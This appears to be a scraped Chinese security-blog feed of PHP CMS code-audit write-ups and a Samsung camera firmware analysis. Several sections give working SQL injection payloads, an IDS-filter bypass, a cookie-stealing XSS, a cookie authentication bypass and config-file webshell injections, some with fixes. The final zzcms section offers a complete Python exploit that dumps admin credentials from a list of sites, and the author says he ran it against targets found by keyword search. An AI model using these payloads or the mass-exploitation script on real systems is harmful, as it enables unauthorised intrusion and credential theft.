除了之前的问题之外,Exploitee.rs的Zenofex还在Web接口中的一个表单中(WEP密钥域)发现了一个命令注入漏洞。奇怪的是,新款的摄像头中并不存在这个问题(但是密码重置漏洞仍然存在)。为什么三星只修复了其中的一个漏洞,而另一个漏洞却没人管呢?

这个问题暂且不讨论,我们现在要做的就是想办法黑入摄像头。我们可以采用黑盒测试的方法来对摄像头进行分析,而这种方法也是我们在处理大多数web应用程序时所采用的方法。

现在,我们已经占据了上风-因为我们不仅可以查看摄像头的系统固件,而且还可以分析其内部文件了。

我们可以从三星的官方网站中下载系统固件(tgz文件),解压之后我们会得到如下图所示的文件:

t017d5946306d11ddb3[1]

问题五

问题描述:固件没有受到任何安全机制的保护,文件也没有进行加密处理,所以我们可以直接对其进行逆向分析。

解决方案:采取数据加密等手段来保护系统固件,以防止攻击者对固件代码进行逆向分析。

首先,我们对ramdisk(虚拟磁盘)文件进行分析-从文件的后缀名来看,这是一个gzip压缩文件。

t0158f159cf6477f572[1]

这是一个ext2文件系统。所以我们可以直接挂载该文件:

t0117df931b1d22da99[1]

我们似乎已经得到了root文件系统中的内容。接下来让我们看一看,root用户是否已经被启用:

t01bcf49870778abfce[1]

问题六

问题描述:固件只开启了一个系统用户-即“root”。如果攻击者成功获取到了系统用户的凭证,那么他也就获取到了设备的root访问权限。

解决方案:遵循最小特权的原则,对于那些支持外部服务的用户账号,设备要对这些账号的访问权限进行限制。除非有需要,否则不允许这些账号只使用密码来登录设备。

系统在对密码进行哈希处理时所采用的哈希算法其安全性较弱,它最多只支持使用8个字符,这也就使得暴力破解等攻击变得非常的容易。

问题七

问题描述:由于系统所选择的哈希算法安全性较弱,这也就意味着系统使用的是弱密码。所以攻击者可以通过其它方式来获取到所有安装了这一固件的摄像头root访问密码。

解决方案:使用md5或者sha512哈希算法来从一定程度上增加暴力破解所需的时间。

既然我们已经可以访问固件的文件系统了,那么我们就可以尝试找出负责处理用户输入数据的部分。对于嵌入式系统而言,如果没有对用户的输入数据进行控制和检测,那么用户的输入信息将会成为一个巨大的安全隐患。

总结


三星公司对于这一问题的响应和处理还是相当不错的。他们非常清楚地了解我们所说的安全问题,并且已经在下一版本的固件程序中修复了这些安全漏洞。除此之外,Web接口和SSH也已经被禁用了。

虽然他们花了不少时间来处理这个问题,但至少他们给我们提供了反馈信息。现在很多大型的物联网厂商并不会对第三方安全机构所提交的安全报告予以反馈,所以我们在此要表扬一下三星公司。

表扬归表扬,但是这些安全问题并没有全部得到解决。如果想要彻底修复这个远程代码执行漏洞的话,三星只需要彻底移除设备的Web访问接口即可。

 

漏洞利用POC:点击下载

 

参考链接


1.SNH-6410BN摄像头-亚马逊商城:

https://www.amazon.co.uk/dp/B00MQS0FZY/ref=pd_lpo_sbs_dp_ss_1?pf_rd_p=569136327&pf_rd_s=lpo-top-stripe&pf_rd_t=201&pf_rd_i=B00J38NVHE&pf_rd_m=A3P5ROKL5A1OLE&pf_rd_r=2AXRQSAPF7Z6CTHDX0FE

2.三星SmartCam官方网站:

https://www.samsungsmartcam.com/web/cmm/login.do

3. 三星SmartCam远程控制App:

https://play.google.com/store/apps/details?id=com.techwin.shc&hl=en_GB

4. Exploitee.rs官方网站:

https://www.exploitee.rs/index.php/Main_Page

5.Zenofex的Twitter主页:

https://twitter.com/zenofex

6.漏洞利用代码(POC)的下载地址:

https://www.exploit-db.com/download/40235

ECSHOP /admin/affiliate_ck.php sql注入

$
0
0

/admin/affiliate_ck.php (207-350)是整个get_affiliate_ck函数.

function get_affiliate_ck()
{

    $affiliate = unserialize($GLOBALS['_CFG']['affiliate']);
    empty($affiliate) &amp;&amp; $affiliate = array();
    $separate_by = $affiliate['config']['separate_by'];

    $sqladd = '';
    if (isset($_REQUEST['status']))
    {
        $sqladd = ' AND o.is_separate = ' . (int)$_REQUEST['status'];
        $filter['status'] = (int)$_REQUEST['status'];
    }
    if (isset($_REQUEST['order_sn']))
    {
        $sqladd = ' AND o.order_sn LIKE \'%' . trim($_REQUEST['order_sn']) . '%\'';
        $filter['order_sn'] = $_REQUEST['order_sn'];
    }
    if (isset($_GET['auid']))
    {
        $sqladd = ' AND a.user_id=' . $_GET['auid'];
    }

    if(!empty($affiliate['on']))
    {
        if(empty($separate_by))
        {
            //推荐注册分成
            $sql = "SELECT COUNT(*) FROM " . $GLOBALS['ecs']-&gt;table('order_info') . " o".
                    " LEFT JOIN".$GLOBALS['ecs']-&gt;table('users')." u ON o.user_id = u.user_id".
                    " LEFT JOIN " . $GLOBALS['ecs']-&gt;table('affiliate_log') . " a ON o.order_id = a.order_id" .
                    " WHERE o.user_id &gt; 0 AND (u.parent_id &gt; 0 AND o.is_separate = 0 OR o.is_separate &gt; 0) $sqladd";
        }
        else
        {
            //推荐订单分成
            $sql = "SELECT COUNT(*) FROM " . $GLOBALS['ecs']-&gt;table('order_info') . " o".
                    " LEFT JOIN".$GLOBALS['ecs']-&gt;table('users')." u ON o.user_id = u.user_id".
                    " LEFT JOIN " . $GLOBALS['ecs']-&gt;table('affiliate_log') . " a ON o.order_id = a.order_id" .
                    " WHERE o.user_id &gt; 0 AND (o.parent_id &gt; 0 AND o.is_separate = 0 OR o.is_separate &gt; 0) $sqladd";
        }
    }
    else
    {
        $sql = "SELECT COUNT(*) FROM " . $GLOBALS['ecs']-&gt;table('order_info') . " o".
                " LEFT JOIN".$GLOBALS['ecs']-&gt;table('users')." u ON o.user_id = u.user_id".
                " LEFT JOIN " . $GLOBALS['ecs']-&gt;table('affiliate_log') . " a ON o.order_id = a.order_id" .
                " WHERE o.user_id &gt; 0 AND o.is_separate &gt; 0 $sqladd";
    }

	echo $sql;

其中发现对$_GET[‘auid’]的取值仅仅是直接传入就加入了sql语句

    if (isset($_GET['auid']))
    {
        $sqladd = ' AND a.user_id=' . $_GET['auid'];
    }

只要满足了$_GET[‘auid’]不为空就可以直接代入,导致了sql注入发生

1

执行的sql语句为

SELECT COUNT(*) FROM `ecshop`.`ecs_order_info` o LEFT 
JOIN`ecshop`.`ecs_users` u ON o.user_id = u.user_id LEFT JOIN 
`ecshop`.`ecs_affiliate_log` a ON o.order_id = a.order_id WHERE 
o.user_id &gt; 0 AND (u.parent_id &gt; 0 AND o.is_separate = 0 OR 
o.is_separate &gt; 0)  AND a.user_id=3 and 
updatexml(1,concat(0x7e,concat(version(),0x3a,user()),0x7e),1)

修复方案

对$_GET[‘auid’]强制转换

    if (isset($_GET['auid']))
    {
        $sqladd = ' AND a.user_id=' . intval($_GET['auid']);
    }

diff

227c227
&lt;         $sqladd = ' AND a.user_id=' . $_GET['auid'];
---
&gt;         $sqladd = ' AND a.user_id=' . intval($_GET['auid']);


代码审计——zcncms后台SQL注入(一)

$
0
0

from:小黑屋

由于是后台注入,比较鸡肋,发上来供大家相互参考学习。zcncms版本1.2.14,官方网站地址:
zcncms

0x01 变量处理

文件/include/common.inc.php中

//检查和注册外部提交的变量
 foreach($_REQUEST as $_k=>$_v)
 {
 //if( strlen($_k)>0 && eregi('^(GLOBALS)',$_k) )
 if( strlen($_k)>0 && preg_match('/^(GLOBALS)/i',$_k) )
 {
 exit('Request var not allow!');
 }
 }
 -------------------------------------------------------------------
 //foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消cookie自动生成变量
 foreach(Array('_GET','_POST') as $_request)
 {
 foreach($$_request as $_k => $_v) {
 //------------------20130128校验变量名
 if(strstr($_k, '_') == $_k){
 echo 'code:re_all';
 exit;
 }
 //可考虑增加变量检测,减少变量覆盖
 //--------------------------
 ${$_k} = _GetRequest($_v);
 }
 }

过滤变量的key是”_p”和”GLOBALS p”的形式,防止全局变量覆盖;并在函数_GetRequest()中进行了addslashes的操作。了解了上面的情况,那么有什么可利用的点就比较清楚了。

0x02 未正确过滤

文件/module/menus/admincontroller/menus.php

case 'edit'://
 if(isset($submit)){
 $info = array();
 $time = time();
 if(isset($id)){
 $id = intval($id);
 if($id <= 0){
 errorinfo('变量错误','');
 }

$infoold = $menus->GetInfo('',' id = '.$id);
 //改变分类从属判断
 if($parentid != $infoold['parentid']) {&nbsp; //毫无意义的比较
 $List = $menus->GetList('',0,1," parentid = $id ",''); //恰当的id
 if(!empty($List)) {
 errorinfo('对不起,该导航('.$id.')下有子导航','');
 }
 }
 }
 //分析根分类
 if($parentid == 0) {
 $rootid = 0;
 } else{
 $parent = $menus->GetInfo('',' id = '.$parentid); //没有单引号

在$parentid != $infoold[‘parentid’]中,用的’!=’,很明显如果我们要控制$parentid的值,这个不等式肯定成立。但是errorinfo会使程序退出,所以这里需要一个在数据库不存在的parentid,使得取出$List为空,从而进入下面的sql操作

$parent = $menus->GetInfo('',' id = '.$parentid);

0x03 全局过滤(08sec ids)

在进行尝试的时候,发现了sql执行居然还有过滤

TB2wu4nuXXXXXXfXXXXXXXXXXXX_!!792076116
追踪sql语句执行函数,GetInfo()->Execute()->option()->SafeSql()

function SafeSql($db_string,$querytype='select'){
 //var_dump($db_string);
 //完整的SQL检查
 //$pos = '';
 //$old_pos = '';
 $pos = 0;
 $old_pos = 0;
 $clean = '';
 if(empty($db_string)){
 return false;
 }
 while (true){
 $pos = strpos($db_string, '\'', $pos + 1);
 if ($pos === false)
 {
 break;
 }
 $clean .= substr($db_string, $old_pos, $pos - $old_pos);
 while (true)
 {
 $pos1 = strpos($db_string, '\'', $pos + 1);
 $pos2 = strpos($db_string, '\\', $pos + 1);
 if ($pos1 === false)
 {
 break;
 }
 elseif ($pos2 == false || $pos2 > $pos1)
 {
 $pos = $pos1;
 break;
 }
 $pos = $pos2 + 1;
 }
 $clean .= '$s$';
 $old_pos = $pos + 1;
 }
 $clean .= substr($db_string, $old_pos);
 $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
 if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="union detect";
 }

//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
 {
 $fail = true;
 $error="comment detect";
 }

//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
 elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="slown down detect";
 }
 elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="slown down detect";
 }
 elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="file fun detect";
 }
 elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="file fun detect";
 }

//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
 elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
 {
 $fail = true;
 $error="sub select detect";
 }
 if (!empty($fail))
 {
 //fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
 exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
 }
 else
 {
 return $db_string;
 }
 }
 }
 ?>

从代码和警告信息来看,是08sec的通用ids无疑,包括dedecms等内置这个这段代码。网上已经有较多的绕过方式。
构造payload:

zcncms/admin/?c=products_class&amp;a=edit&amp;id=1
 POST:
 submit=&amp;parentid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

2

0x04 多处类似处理不当

搜索了一下代码,发现多处parentid处理不当,不过都需要后台权限

3

代码审计——zcncms几处漏洞合集(二)

$
0
0

from:小黑屋

继上一篇参数$parentid未正确处理后,在/module/products/admincontroller/products_photo.php中,

switch($a)
 {
 case 'list':default://list
 //列表
 if (empty($productid)) {
 $where = ' 1 = 1 ';
 } else {
 $where = " productid = '".$productid."' ";
 }

$pageListNum=12;//每页显示
 $totalPage=0;//总页数
 ----------------------------------------------------------------------
 case 'edit'://
 if(isset($submit)){
 $info = array();
 $time = time();
 if(isset($id)){
 $id = intval($id);
 if($id <= 0){
 errorinfo('变量错误','');
 }
 $infoold = $products_photo->GetInfo('',' id = '.$id);
 }

$productinfo = $products->GetInfo('',' id = '.$productid);
 //20120719
 checkClassPower('products',$productinfo['classid']);

当 $a的值为’list’时,$where = ” productid = ‘”.$productid.”‘ “, $procuctid被单引号保护起来,参数引进是经过addslashes操作的,所以这里是安全的。但是当$a == ‘edit’时,$products->GetInfo(”,’ id = ‘.$productid),$productid被直接拼接到where语句中且没有单引号保护,导致SQL注入。构造payload如下:

http://127.0.0.1:8088/code_audit/zcncms/admin/?c=products_photo&amp;a=edit&amp;id=7
 POST:
 submit=&amp;productid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

1

反射型xss

在后台登陆文件 /include/admincontroller/login.php中,进行登陆是否成功后,设置模板文件为’login.tpl.php’.

header("location:./");
 exit;
 } else {
 //echo 1;
 $loginerror = '用户名密码错误,请重新登陆.';
 $templatefile = 'login.tpl.php';
 }
 } else {
 $templatefile = 'login.tpl.php';
 }

跟踪到/admin/templates/default/login.tpl.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>
 <?php if(!empty($topTitle)) echo $topTitle.'-';?>
 <?php echo $sys['indextitle']; ?>-<?php echo $pagetitle;?></title>
 <meta name="keywords" content="<?php echo $sys['webkeywords']; ?>">
 <meta name="description" content="<?php echo $sys['webdescription']; ?>">

在<title>标签中要echo三个变量,其中会检查$topTitle是否为空,我们再控制器文件login.php中并未找到$topTitle的定义或初始化,由于之前参数输入特性,可以进行变量覆盖。

http://127.0.0.1:8088/code_audit/zcncms/admin/?c=login&topTitle=</title><script>alert(document.cookie)</script><script type="mce-no/type">// <![CDATA[ alert(document.cookie) // ]]></script>

2

后台getshell

在文件/include/admincontroller/sys.php中

$pagetitle = '基本信息';
 $pagepower = 'sys';
 //基本部分
 require('checkpower.inc.php');
 //功能部分
 include_once(WEB_INC.'file.class.php');
 include_once(WEB_INC.'string.class.php');
 if(isset($submit)){
 $FS = new files();
 $STR = new C_STRING();
 $info = array(
 'isclose' => $isclose,
 'closeinfo' => $closeinfo,
 'webtitle' => $webtitle,
 'indextitle' => $indextitle,
 'webkeywords' => $webkeywords,
 'webdescription' => $webdescription,
 'webcopyright' => $webcopyright,
 'webbeian' => $webbeian,
 'systemplates' => $systemplates,
 'linkurlmode' => $linkurlmode,
 );
 $rs_msg = $STR->safe($info);
 if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) {
 errorInfo('编辑成功');
 } else {
 errorInfo();

可编辑网站的基本信息并且存入sys.inc.php,$rs_msg = $STR->safe($info);但是$info经过了safe函数,我们跟踪safe函数

function safe($msg)
 {
 if(!$msg && $msg != '0')
 {
 return false;
 }
 if(is_array($msg))
 {
 foreach($msg AS $key=>$value)
 {
 $msg[$key] = $this->safe($value);
 }
 }
 else
 {
 $msg = trim($msg);
 //$old = array("&amp;","&nbsp;","'",'"',"\t","\r");
 //$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ","");
 $old = array("&amp;","&nbsp;","'",'"',"\t");
 $new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ");
 $msg = str_replace($old,$new,$msg);
 $msg = str_replace("&nbsp;&nbsp; ","&nbsp; &nbsp;",$msg);
 $old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU");
 $new = array("","","","","","");
 $msg = preg_replace($old,$new,$msg);
 }
 return $msg;

safe函数过滤了单双引号及常见的xss,我们再看看sys.inc.php

<?php
 $sys["isclose"] = '0';
 $sys["closeinfo"] = 'comming soon';
 $sys["webtitle"] = 'ZCNCMS';
 $sys["indextitle"] = 'ZCNCMS专注内容';
 $sys["webkeywords"] = 'ZCNCMS专注内容';
 $sys["webdescription"] = 'ZCNCMS专注内容';
 $sys["webcopyright"] = 'Copyright+©+1996-2012,+All+Rights+Reserved+ZCNCMS';
 $sys["webbeian"] = 'ZCNCMS专注内容';
 $sys["systemplates"] = 'default';
 $sys["linkurlmode"] = '0';

?>

我们继续跟踪sys.php中的写函数,file_Write()->_write()

//写入信息
 function _write($content,$file,$type="wb")
 {
 global $system_time;
 $content = stripslashes($content);
 $handle = $this->_open($file,$type);
 @fwrite($handle,$content);
 unset($content);
 $this->close($handle);
 //设置文件创建的时间
 $system_time = $system_time ? $system_time : time();
 @touch($file,$system_time);
 return true;
 }

发现经过一系列的安全处理后,写入前会进行stripslashes操作,但是之前单引号被替换了。这里想到了\
我们呢可以这样构造

http://127.0.0.1:8088/code_audit/zcncms/admin/?c=sys
 POST:
 isclose=0&amp;closeinfo=1\&amp;webtitle=;phpinfo();//&amp;indextitle=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webkeywords=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webdescription=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webbeian=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webcopyright=Copyright+%C2%A9+1996-2012%2C+All+Rights+Reserved+ZCNCMS&amp;linkurlmode=0&amp;systemplates=default&amp;submit=%E7%BC%96%E8%BE%91

将$sys[“closeinfo”]后面的单引号转义,使之和$sys[“webtitle”]的第一个单引号闭合,这样$sys[“webtitle”]的值就摆脱了单引号,再利用注释符”//“注释掉后面的单引号,中间直接可以写shell。执行完成后sys.inc.php如下

3

成功getshell

4

phpecms1.3 cookies欺骗漏洞进后台

$
0
0

from:小雨’s blog

phpecms1.3/admin/cms_check.php

<span class="php"><span class="hljs-meta">&lt;?php</span>
	<span class="hljs-keyword">if</span>(!<span class="hljs-keyword">isset</span>($_COOKIE[<span class="hljs-string">'admin_name'</span>])){
		alert_href(<span class="hljs-string">'非法登录'</span>,<span class="hljs-string">'cms_login.php'</span>);
	};
<span class="hljs-meta">?&gt;</span></span>

判断如果没有admin_name的cookie就跳登录页面,如果admin_name就不跳了。

 

phpecms1.3/admin/cms_welcome.php

<?php
include('../system/inc.php');
include('cms_check.php');  

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<?php include('inc_head.php') ?>
</head>
<body>
<?php include('inc_header.php') ?>
<div id="content">
	<div class="container">
		<div class="line-big">
			<?php include('inc_left.php') ?>
			<div class="xx105">
				<div class="hd-1">使用声明</div>
				<div class="bd-1">
				<p>一、遵守中中华人民共和国相关法律,合法使用。</p>
				<p>二、此程序为免费版,无使用时间限制。</p>
				<p>三、商业使用建议使用收费版,获取更多功能和技术服务。</p>
				<p class="fb color-red">免费版和收费版的主要差异</p>
				<p>一、支持手机版</p>
				<p>二、多套模板后后台切换</p>
				<p>三、更多的频道类型和详情类型选择</p>
				<p>四、支持伪静态</p>
				<p>四、咨询QQ:<a href="http://wpa.qq.com/msgrd?v=3&uin=5474131&site=qq&menu=yes">5474131</a> 电话:13400472755 网址:<a href="http://www.pcfinal.cn" target="_blank">www.pcfinal.cn</a></p>
				</div>
			</div>
		</div>
	</div>
</div>
<?php include('inc_footer.php') ?>
</body>
</html>

直接包含 过去  没有进行任何 判断

127.1.1.1/phpecms1.3/admin/cms_welcome.php

1

后台设置cookie值

2

设置成功点击提交

http://127.0.0.1/phpecms1.3/admin/cms_welcome.php

3

成功进入后台

PHPCMS V9最新版本后台设计缺陷导致getshell

$
0
0

from:http://www.cnbraid.com/2016/09/14/phpcms/

0x01 背景

周末审计了下phpcms的最新版本,前台已经很难找到漏洞了,故看了看后台相关的代码,发现还是有一处可以拿shell的漏洞。由于默认安装后需要超级管理员权限,故该漏洞很鸡肋,但感觉应该会在其它cms中也存在,所以主要分享下挖掘思路~
PS:使用的测试环境是php5.6(已经移除gpc选项)

01

0x02 漏洞分析

漏洞起源:
yoursite\phpsso_server\phpcms\modules\admin\system.php下的uc函数:

<?php
public function uc() {
	if (isset($_POST['dosubmit'])) {
		$data = isset($_POST['data']) ? $_POST['data'] : '';
		$data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
		$filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
		$config = include $filepath;
		$uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
		foreach ($data as $k => $v) {
			$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
			$new[] = "'$k'=>'$v',";
			$uc_config .= "define('".strtoupper($k)."', '$v');\n";
		}
		$html = file_get_contents($filepath);
		$html = str_replace($old, $new, $html);
		$uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
		@file_put_contents($uc_config_filepath, $uc_config);
		@file_put_contents($filepath, $html);
		$this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
		showmessage(L('operation_success'), HTTP_REFERER);
	}
	$data = array();
	$r = $this->db->get_one(array('name'=>'ucenter'));
	if ($r) {
		$data = string2array($r['data']);
	}
	include $this->admin_tpl('system_uc');
}
...

将表单中的数据$data按照键值对遍历并以如下形式存储到$uc_config变量里:

$uc_config .= "define('".strtoupper($k)."', '$v');\n";

上面只是对$k变量进行了字母转大写处理,然后就写到yoursite\phpsso_server\caches\configs\uc_config.php中了,所以这里应该可以构造一句话木马写入到uc_config.php中,从而拿到webshell。

0x03 漏洞证明

通过观察uc_config.php,我们构造一句话木马的方法如下(审查元素或者代理改包均可):

02

04

0x04 漏洞修复

我这里引入了特殊字符的数组$array_key_safe = array(“,”, “;”, “‘“, “(“, “)”, “\“);
然后在foreach循环时对$k进行过滤如下:

public function uc() {
//引入$array_key_safe
$array_key_safe = array(",", ";", "'", "(", ")", "\\");
if (isset($_POST['dosubmit'])) {
$data = isset($_POST['data']) ? $_POST['data'] : '';
$data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
$filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
$config = include $filepath;
$uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
foreach ($data as $k => $v) {
//对$k中敏感字符替换为空
$k = str_replace($array_key_safe, "", $k);
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}
$html = file_get_contents($filepath);
$html = str_replace($old, $new, $html);
$uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
@file_put_contents($uc_config_filepath, $uc_config);
@file_put_contents($filepath, $html);
$this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
showmessage(L('operation_success'), HTTP_REFERER);
}

当然这个修补方法很暴力~

zzcms漏洞挖掘到exp编写

$
0
0
作者:奶权
来源:知乎
著作权归作者所有。
0X00 前言:今天无聊想找个cms来白盒审计一下 练练手

于是就跑去站长之家看了一下

v2-7cc972de1be015c3453fed239e336cb5_b[1]轻量级的 那么就是他了

0X01 白盒审计

下载下来安装后 直接扔进法师大牛的源代码审计系统

很快就定位到一个文件的一段sql代码

文件位置:zs/contrast.php

代码片段:

$id='';
if(!empty($_POST['id'])){
    for($i=0; $i<count($_POST['id']);$i++){
    $id=$id.($_POST['id'][$i].',');
    }
	$id=substr($id,0,strlen($id)-1);
}
$sql="select * from zzcms_main where id in ($id)" ;
$rs=mysql_query($sql);

这段代码讲人话就是把POST过来的id字段一个字一个字分开然后用”,”连接(我也不知道为什么这个程序员把”.=”写成了”=” 导致了”123”变成”1,” 原本应为”1,2,3,”)去掉最后的”,”后不经过任何过滤扔进sql语句里

其实绕过这个substr很简单 只需要提交的时候加一个数组的下标就可以了

例如

v2-78ee3aadbd4b9eb1feaf43c252af3962_b[1]绕过了后很容易写出爆管理员用户名密码的exp

id[0]=1)union select 1,CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#

id[0]=1)union select 1,CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#

v2-52dab49f4b87a75c4c5adcf07a878c25_b[1] ‘sqlInjectFlag[#’和’#]sqlInjectFlag’是为了编写exp时好匹配用的一个Flag0X02 EXP编写

首先导入要用的模块

import requests	#http请求模块
import re	#正则匹配模块
from lxml import etree	  #XPATH(用来解析html)模块

写文件函数(我也不知道为什么我每个脚本都写这个函数)

def opt2File(str):
	try:
		f = open('result.txt','a')
		f.write(str + '\n')
	finally:
		f.close()

跑exp的函数

def runSqlInjectExp(website):
	sqlInjectExp = {
		u'id[0]' : u"1) union select 1, CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#"
	}
	if website is None:
		return
	if u'http://' not in website:
		website = u'http://' + website
	try:
		requests.get(website,timeout=5)
	except:
		print u'Failed to visit the ' + website + '\n'
		return
	try:
		r = requests.post(website + u'/zs/contrast.php',data=sqlInjectExp,timeout=5)
		htmlObj = r.text.encode('utf-8')
		htmlTree = etree.HTML(htmlObj)
		trData = htmlTree.xpath("//body/table[1]/tr[2]/td")
		sqlInjectResult = []
		for n in trData:
			reResult = re.match(r'sqlInjectFlag\[#([\s\S]*?)#\]sqlInjectFlag',n.text.encode('utf-8'))
			if reResult is not None:
				opt2File(website)
				opt2File('	' + reResult.group(1))
				sqlInjectResult.append(reResult.group(1))
		if sqlInjectResult:
			str = ''
			for result in sqlInjectResult:
				str += result + u' '
			print target
			print str
	except:
		print u'Failed to inject the ' + website + '\n'
		return

完整代码

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import re
from lxml import etree

def opt2File(str):
	try:
		f = open('result.txt','a')
		f.write(str + '\n')
	finally:
		f.close()
def runSqlInjectExp(website):
	sqlInjectExp = {
		u'id[0]' : u"1) union select 1, CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#"
	}
	if website is None:
		return
	if u'http://' not in website:
		website = u'http://' + website
	try:
		requests.get(website,timeout=5)
	except:
		print u'Failed to visit the ' + website + '\n'
		return
	try:
		r = requests.post(website + u'/zs/contrast.php',data=sqlInjectExp,timeout=5)
		htmlObj = r.text.encode('utf-8')
		htmlTree = etree.HTML(htmlObj)
		trData = htmlTree.xpath("//body/table[1]/tr[2]/td")
		sqlInjectResult = []
		for n in trData:
			reResult = re.match(r'sqlInjectFlag\[#([\s\S]*?)#\]sqlInjectFlag',n.text.encode('utf-8'))
			if reResult is not None:
				opt2File(website)
				opt2File('	' + reResult.group(1))
				sqlInjectResult.append(reResult.group(1))
		if sqlInjectResult:
			str = ''
			for result in sqlInjectResult:
				str += result + u' '
			print target
			print str
	except:
		print u'Failed to inject the ' + website + '\n'
		return

targets = [
	'http://baidu.com/' #target列表
]
for target in targets:
	runSqlInjectExp(target)

用关键词爬了点target出来试了一下

v2-467d2c57967670f6a7eaca7488fb7c25_b[1]

 

Viewing all 77 articles
Browse latest View live